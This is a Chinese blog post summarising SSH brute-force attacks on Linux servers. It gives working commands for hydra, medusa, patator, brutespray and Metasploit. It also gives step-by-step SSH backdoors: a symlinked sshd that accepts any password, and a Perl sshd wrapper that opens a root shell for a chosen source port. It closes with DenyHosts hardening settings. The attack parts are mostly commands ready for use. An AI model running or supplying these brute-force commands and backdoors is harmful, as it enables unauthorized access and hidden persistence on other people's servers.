• 关于linux中SSH爆破总结


    2.思路

    (1)对root账号进行暴力破解

    (2)使用中国姓名top1000作为用户名进行暴力破解

    (3)使用top 10000 password字典进行密码破解

    (4)利用掌握信息进行社工信息整理并生成字典暴力破解

    (5)信息的综合利用以及循环利用

     

    ssh后门

    1. 软连接后门

    ln -sf /usr/sbin/sshd /tmp/su; /tmp/su-oPort=33223;

    经典后门使用ssh root@x.x.x.x -p 33223直接对sshd建立软连接,之后用任意密码登录即可。

    但这隐蔽性很弱,一般的rookit hunter这类的防护脚本可扫描到。

    2.SSH Server wrapper后门

    (1)复制sshd到bin目录

    cd /usr/sbin

    mv sshd ../bin

    (2)编辑sshd

    vi sshd //加入以下内容并保存

    #!/usr/bin/perl

    exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);

    exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

    (4)修改权限

    chmod 755 sshd

    (5)使用socat

    socat STDIOTCP4:target_ip:22,sourceport=19526

    如果没有安装socat需要进行安装并编译

    wget http://www.dest-unreach.org/socat/download/socat-1.7.3.2.tar.gz

    tar -zxvf socat-1.7.3.2.tar.gz

    cd socat-1.7.3.2

    ./configure

    make

    make install

    (6)使用ssh root@ target_ip即可免密码登录

    3.ssh公钥免密

    将本地计算机生成公私钥,将公钥文件复制到需要连接的服务器上的~/.ssh/authorized_keys文件,并设置相应的权限,即可免密码登录服务器。

    chmod 600 ~/.ssh/authorized_keys

    chmod 700 ~/.ssh

    ssh暴力破解命令总结及分析

    1.所有工具的比较

    通过对hydra、medusa、patator、brutepray以及msf下的ssh暴力破解测试,总结如下:

    (1)每款软件都能成功对ssh账号以及密码进行破解。

    (2)patator和brutepray是通过python语言编写,但brutepray需要medusa配合支持。

    (3)hydra和medusa是基于C语言编写的,需要进行编译。

    (4)brutepray基于nmap扫描结果来进行暴力破解,在对内网扫描后进行暴力破解效果好。

    (5)patator基于python,速度快,兼容性好,可以在windows或者linux下稍作配置即可使用。

    (6)如果具备kali条件或者PentestBox下,使用msf进行ssh暴力破解也不错。

    (7)brutepray会自动生成破解成功日志文件/brutespray-output/ssh-success.txt;hydra加参数“-o save.log”记录破解成功到日志文件save.log,medusa加“-O ssh.log”参数可以将成功破解的记录记录到ssh.log文件中;patator可以加参数“-x ignore:mesg=’Authentication failed.’”来忽略破解失败的尝试,而仅仅显示成功的破解。

    2.命令总结

    (1)hydra破解ssh密码

    hydra -lroot  -P pwd2.dic -t 1 -vV -e ns 192.168.44.139ssh

    hydra -lroot  -P pwd2.dic -t 1 -vV -e ns  -o save.log  192.168.44.139  ssh

    (2)medusa破解ssh密码

    medusa -M ssh -h 192.168.157.131 -u root -Pnewpass.txt

    medusa -M ssh -h192.168.157.131 -u root -P /root/newpass.txt -e ns –F

    (3)patator破解ssh密码

    ./patator.py ssh_login host=192.168.157.131user=root password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

    ./patator.py ssh_login host=192.168.157.131user=FILE1 1=/root/user.txt password=FILE0 0=/root/newpass.txt -x ignore:mesg='Authenticationfailed.'

    如果不是本地安装,则使用patator执行即可。

    (4)brutespray暴力破解ssh密码

    nmap -A-p 22 -v 192.168.17.0/24 -oX 22.xml

    pythonbrutespray.py --file 22.xml -u root -p toor --threads 5 --hosts 5

    (5)msf暴力破解ssh密码

    use auxiliary/scanner/ssh/ssh_login

    set rhosts192.168.17.147

    setPASS_FILE /root/pass.txt

    setUSER_FILE /root/user.txt

    run

    九、 SSH暴力破解安全防范

    1.修改/etc/ssh/sshd_config默认端口为其它端口。例如设置端口为2232,则port=2232

    2.在/etc/hosts.allow中设置允许的IP访问,例如sshd:192.168.17.144:allow

    3.使用DenyHosts软件来设置,其下载地址:

    https://sourceforge.net/projects/denyhosts/files/denyhosts/2.6/DenyHosts-2.6.tar.gz/download

    (1)安装cdDenyHosts

    # tar-zxvf DenyHosts-2.6.tar.gz

    # cdDenyHosts-2.6

    # pythonsetup.py install

    默认是安装到/usr/share/denyhosts目录的。

    (2)配置cdDenyHosts

    # cd/usr/share/denyhosts/

    # cpdenyhosts.cfg-dist denyhosts.cfg

    # videnyhosts.cfg

    PURGE_DENY= 50m #过多久后清除已阻止IP

    HOSTS_DENY= /etc/hosts.deny #将阻止IP写入到hosts.deny

    BLOCK_SERVICE= sshd #阻止服务名

    DENY_THRESHOLD_INVALID= 1 #允许无效用户登录失败的次数

    DENY_THRESHOLD_VALID= 10 #允许普通用户登录失败的次数

    DENY_THRESHOLD_ROOT= 5 #允许root登录失败的次数

    WORK_DIR= /usr/local/share/denyhosts/data #将deny的host或ip纪录到Work_dir中

    DENY_THRESHOLD_RESTRICTED= 1 #设定 deny host 写入到该资料夹

    LOCK_FILE= /var/lock/subsys/denyhosts #将DenyHOts启动的pid纪录到LOCK_FILE中,已确保服务正确启动,防止同时启动多个服务。

    HOSTNAME_LOOKUP=NO#是否做域名反解

    ADMIN_EMAIL= #设置管理员邮件地址

    DAEMON_LOG= /var/log/denyhosts #自己的日志文件

    DAEMON_PURGE= 10m #该项与PURGE_DENY 设置成一样,也是清除hosts.deniedssh 用户的时间。

    (3)设置启动脚本

    # cpdaemon-control-dist daemon-control

    # chownroot daemon-control

    # chmod700 daemon-control

    完了之后执行daemon-contronstart就可以了。

    #./daemon-control start

    如果要使DenyHosts每次重起后自动启动还需做如下设置:

    # ln -s/usr/share/denyhosts/daemon-control /etc/init.d/denyhosts

    #chkconfig --add denyhosts

    #chkconfig denyhosts on

    #service denyhosts start

    可以看看/etc/hosts.deny内是否有禁止的IP,有的话说明已经成功了。

    以上内容来之本次专题研究内容之一,只有踏踏实实的做技术研究,才发现研究越多,知识面扩展越多。

  • 相关阅读:
    js Worker 线程
    C#接口
    C# 委托
    陆金所面试题
    spark-groupByKey
    spark完整的数据倾斜解决方案
    Spark Streaming
    用SparkSQL构建用户画像
    Spring Cloud底层原理(转载 石杉的架构笔记)
    TCC分布式事务的实现原理(转载 石杉的架构笔记)
  • 原文地址:https://www.cnblogs.com/NBeveryday/p/8286957.html
Copyright © 2020-2023  润新知